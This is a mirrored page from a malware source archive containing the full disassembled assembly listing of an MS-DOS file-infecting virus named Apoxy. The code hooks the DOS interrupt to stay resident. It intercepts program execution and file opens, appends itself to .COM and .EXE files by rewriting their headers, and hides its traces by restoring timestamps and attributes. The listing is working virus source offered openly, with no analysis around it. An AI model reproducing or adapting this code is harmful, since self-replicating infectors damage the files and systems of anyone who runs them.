13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
vxug-MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.apoxy.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

655 lines
16 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ APOXY ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 5-Jan-80 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0F6h ; (042A:00F6=0)
data_2e equ 3D5h ; (042A:03D5=6Ch)
data_3e equ 3DDh ; (042A:03DD=61h)
data_4e equ 42Ah ; (042A:042A=2065h)
data_5e equ 448h ; (042A:0448=6575h)
data_6e equ 44Ah ; (042A:044A=2E20h)
data_7e equ 3 ; (80C6:0003=0FFFFh)
data_8e equ 41Bh ; (80C6:041B=33h)
data_9e equ 2 ; (80C7:0002=0)
data_10e equ 0B6h ; (80C7:00B6=80h)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
apoxy proc far
start:
jmp loc_5 ; (0110)
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
int 20h ; Program Terminate
db 77h, 6Fh, 72h, 6Bh, 65h, 64h
db 24h
loc_5:
call sub_4 ; (0410)
mov ax,4288h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
cmp ax,4288h
je loc_6 ; Jump if equal
call sub_1 ; (037A)
loc_6:
call sub_2 ; (03C3)
cmp word ptr cs:[427h][bp],5A4Dh ; (80C7:0427=7400h)
je loc_7 ; Jump if equal
push cs
push cs
pop ds
pop es
mov ds:[bp+34h],cs
lea si,[bp+427h] ; Load effective addr
mov di,offset ds:[100h] ; (80C7:0100=0E9h)
mov cx,3
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
call sub_3 ; (0403)
;* jmp far ptr loc_2 ;*(0000:0100)
db 0EAh, 00h, 01h, 00h, 00h
loc_7:
push ds
push cs
pop ds
mov ax,es
add ax,10h
add [bp+41Eh],ax
add [bp+420h],ax
mov ax,[bp+41Eh]
mov cx,[bp+41Ch]
mov [bp+67h],ax
mov [bp+65h],cx
pop ds
cli ; Disable interrupts
mov ss,word ptr cs:[420h][bp] ; (80C7:0420=5056h)
mov sp,word ptr cs:[422h][bp] ; (80C7:0422=0F28Bh)
sti ; Enable interrupts
call sub_3 ; (0403)
;* jmp far ptr loc_1 ;*(0000:0000)
db 0EAh, 00h, 00h, 00h, 00h
pushf ; Push flags
cmp ax,4288h
jne loc_8 ; Jump if not equal
mov ax,4288h
popf ; Pop flags
iret ; Interrupt return
loc_8:
cmp ax,4299h
jne loc_11 ; Jump if not equal
mov byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h)
jmp short loc_15 ; (01D3)
loc_9:
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
popf ; Pop flags
stc ; Set carry flag
retf 2 ; Return far
loc_10:
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
popf ; Pop flags
clc ; Clear carry flag
iret ; Interrupt return
loc_11:
cmp ax,4B00h
je loc_12 ; Jump if equal
cmp ah,3Dh ; '='
je loc_12 ; Jump if equal
cmp ah,56h ; 'V'
je loc_12 ; Jump if equal
cmp ah,43h ; 'C'
jne loc_13 ; Jump if not equal
loc_12:
mov byte ptr cs:[41Ah],0 ; (80C7:041A=0B6h)
jmp short loc_15 ; (01D3)
loc_13:
popf ; Pop flags
;* jmp far ptr loc_3 ;*(0019:40EB)
db 0EAh,0EBh, 40h, 19h, 00h
loc_14:
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
jmp loc_27 ; (0356)
loc_15:
call sub_6 ; (0420)
jc loc_13 ; Jump if carry Set
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
call sub_13 ; (04BD)
mov word ptr cs:[448h],ds ; (80C7:0448=7C80h)
mov word ptr cs:[44Ah],dx ; (80C7:044A=4D02h)
mov ax,3D00h
call sub_5 ; (0416)
jc loc_14 ; Jump if carry Set
xchg ax,bx
push cs
pop ds
mov ah,3Fh ; '?'
mov dx,offset ds:[42Ah] ; (80C7:042A=3Ch)
mov cx,18h
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
call sub_10 ; (0493)
push ax
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
pop ax
cmp word ptr ds:[42Ah],5A4Dh ; (80C7:042A=613Ch)
je loc_17 ; Jump if equal
cmp dx,0
ja loc_16 ; Jump if above
cmp ax,0D6D8h
ja loc_16 ; Jump if above
push ax
add ax,0FBCFh
cmp word ptr ds:[42Bh],ax ; (80C7:042B=7261h)
pop ax
jz loc_16 ; Jump if zero
add ax,0FFFDh
mov word ptr ds:[428h],ax ; (80C7:0428=0F74h)
jmp short loc_20 ; (02A2)
loc_16:
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
jmp loc_27 ; (0356)
loc_17:
cmp word ptr ds:[43Eh],0 ; (80C7:043E=5845h)
je loc_16 ; Jump if equal
push ax
mov ax,word ptr ds:[43Eh] ; (80C7:043E=5845h)
mov word ptr ds:[41Fh],ax ; (80C7:041F=56C3h)
mov ax,word ptr ds:[440h] ; (80C7:0440=0F74h)
mov word ptr ds:[421h],ax ; (80C7:0421=8B50h)
mov ax,word ptr ds:[438h] ; (80C7:0438=83EBh)
mov word ptr ds:[423h],ax ; (80C7:0423=8AF2h)
mov ax,word ptr ds:[43Ah] ; (80C7:043A=3EEh)
mov word ptr ds:[425h],ax ; (80C7:0425=3C04h)
pop ax
add ax,10h
adc dx,0
and ax,0FFF0h
push ax
push dx
push ax
push dx
add ax,42Eh
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_18 ; Jump if zero
inc ax
loc_18:
mov word ptr ds:[42Ch],dx ; (80C7:042C=872h)
mov word ptr ds:[42Eh],ax ; (80C7:042E=7A3Ch)
pop dx
pop ax
mov cx,4
locloop_19:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_19 ; Loop if cx > 0
sub ax,word ptr ds:[432h] ; (80C7:0432=202Ch)
sbb dx,0
mov word ptr ds:[438h],ax ; (80C7:0438=83EBh)
mov word ptr ds:[440h],ax ; (80C7:0440=0F74h)
mov word ptr ds:[43Ah],54Ch ; (80C7:043A=3EEh)
mov word ptr ds:[43Eh],0 ; (80C7:043E=5845h)
loc_20:
push ds
mov dx,word ptr ds:[44Ah] ; (80C7:044A=4D02h)
mov ds,word ptr ds:[448h] ; (80C7:0448=7C80h)
call sub_12 ; (04A4)
jnc loc_21 ; Jump if carry=0
pop ds
jmp loc_27 ; (0356)
loc_21:
mov ax,3D02h
call sub_5 ; (0416)
xchg ax,bx
pop ds
cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h)
je loc_22 ; Jump if equal
xor cx,cx ; Zero register
mov dx,6
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
call sub_9 ; (0476)
jc loc_24 ; Jump if carry Set
call sub_8 ; (0460)
jmp short loc_24 ; (02FB)
loc_22:
mov ax,4200h
mov dx,26h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
call sub_9 ; (0476)
jnc loc_23 ; Jump if carry=0
mov ax,4200h
mov dx,206h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
call sub_9 ; (0476)
jnc loc_23 ; Jump if carry=0
jmp short loc_24 ; (02FB)
loc_23:
call sub_7 ; (045B)
loc_24:
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov cx,3
mov dx,427h
cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h)
jne loc_25 ; Jump if not equal
mov dx,data_4e ; (042A:042A=65h)
mov cx,18h
loc_25:
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
call sub_10 ; (0493)
cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h)
jne loc_26 ; Jump if not equal
pop cx
pop dx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_26:
xor dx,dx ; Zero register
mov cx,42Eh
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov dx,ds:data_6e ; (042A:044A=2E20h)
mov ds,ds:data_5e ; (042A:0448=6575h)
call sub_11 ; (049D)
mov byte ptr cs:[41Bh],1 ; (80C7:041B=0)
loc_27:
call sub_14 ; (04D9)
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
cmp byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h)
jne loc_29 ; Jump if not equal
cmp byte ptr cs:[41Bh],1 ; (80C7:041B=0)
jne loc_28 ; Jump if not equal
jmp loc_10 ; (019F)
loc_28:
jmp loc_9 ; (0194)
loc_29:
jmp loc_13 ; (01C4)
apoxy endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
push ds
push es
mov ax,es
dec ax
mov es,ax
sub word ptr es:data_7e,55h ; (80C6:0003=0FFFFh)
inc ax
add ax,es:data_7e ; (80C6:0003=0FFFFh)
mov ds:data_9e,ax ; (80C7:0002=0)
mov es,ax
push es
push cs
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov [bp+0B3h],bx
mov [bp+0B5h],es
pop es
lea si,[bp-3] ; Load effective addr
xor di,di ; Zero register
mov cx,54Dh
cld ; Clear direction
cli ; Disable interrupts
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
sti ; Enable interrupts
push es
pop ds
;* mov dx,offset loc_4 ;*
db 0BAh, 6Ch, 00h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov byte ptr es:data_8e,0 ; (80C6:041B=33h)
pop es
pop ds
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
push cs
pop ds
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
mov word ptr ds:[3E4h][bp],es ; (80C7:03E4=21CDh)
mov word ptr ds:[3E2h][bp],bx ; (80C7:03E2=27h)
lea dx,[bp+3ECh] ; Load effective addr
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
lea dx,[bp+3E6h] ; Load effective addr
mov ah,4Eh ; 'N'
mov cx,27h
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jnc loc_30 ; Jump if carry=0
loc_30:
mov ax,4299h
lea dx,[bp+40Ah] ; Load effective addr
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jnc loc_31 ; Jump if carry=0
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_30 ; Jump if carry=0
loc_31:
lds dx,dword ptr ds:[3E2h][bp] ; (80C7:03E2=27h) Load 32 bit ptr
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
xor di,di ; Zero register
xor si,si ; Zero register
xor bx,bx ; Zero register
xor dx,dx ; Zero register
xor bp,bp ; Zero register
xor ax,ax ; Zero register
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov bp,sp
mov bp,[bp]
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
pushf ; Push flags
call dword ptr cs:data_10e ; (80C7:00B6=80h)
sub_5 endp
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry proc far
jnc loc_ret_32 ; Jump if carry=0
stc ; Set carry flag
loc_ret_32:
retn
int_24h_entry endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push si
push ax
mov si,dx
loc_33:
mov al,[si]
cmp al,0
je loc_35 ; Jump if equal
cmp al,61h ; 'a'
jb loc_34 ; Jump if below
cmp al,7Ah ; 'z'
ja loc_34 ; Jump if above
sub al,20h ; ' '
mov [si],al
loc_34:
inc si
jmp short loc_33 ; (0424)
loc_35:
sub si,3
cmp word ptr [si],5845h
je loc_36 ; Jump if equal
cmp word ptr [si],4F43h
jne loc_37 ; Jump if not equal
cmp byte ptr [si+2],4Dh ; 'M'
jne loc_37 ; Jump if not equal
pop ax
pop si
retn
loc_36:
cmp byte ptr [si+2],45h ; 'E'
je loc_38 ; Jump if equal
loc_37:
stc ; Set carry flag
loc_38:
pop ax
pop si
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov dx,0FCD3h
jmp short loc_39 ; (0463)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_8:
mov dx,0FD2Fh
loc_39:
xor cx,cx ; Zero register
dec cx
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,data_1e ; (042A:00F6=0)
mov cx,2
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
mov dx,data_2e ; (042A:03D5=6Ch)
mov cx,8
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
push ds
pop es
mov di,data_2e ; (042A:03D5=6Ch)
mov si,data_3e ; (042A:03DD=61h)
mov cx,8
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_40 ; Jump if not zero
clc ; Clear carry flag
retn
loc_40:
stc ; Set carry flag
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov cx,word ptr cs:[446h] ; (80C7:0446=0F75h)
jmp short loc_41 ; (04B2)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_12:
mov ax,4300h
call sub_5 ; (0416)
mov word ptr cs:[446h],cx ; (80C7:0446=0F75h)
and cl,0FEh
loc_41:
mov ax,4301h
call sub_5 ; (0416)
jc loc_42 ; Jump if carry Set
retn
loc_42:
stc ; Set carry flag
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push dx
push ds
push cs
pop ds
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr ds:[442h],bx ; (80C7:0442=3C81h)
mov word ptr ds:[444h],es ; (80C7:0444=4F43h)
mov ax,2524h
mov dx,offset int_24h_entry
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
pop dx
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
push cs
pop ds
mov ax,2524h
lds dx,dword ptr ds:[442h] ; (80C7:0442=3C81h) Load 32 bit ptr
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
retn
sub_14 endp
and bp,cx
and [bx+6Fh],dh
jc $+6Dh ; Jump if carry Set
db 65h, 22h, 19h, 35h, 93h, 59h
db 57h, 54h, 80h, 00h, 00h, 00h
db 00h
db 2Ah, 2Eh, 45h, 58h, 45h
db 46 dup (0)
db 0B0h, 00h,0CFh, 00h, 33h, 00h
db 00h,0E4h, 0Fh, 80h, 06h,0E9h
db 0Dh, 00h,0BAh, 09h, 01h,0B4h
seg_a ends
end start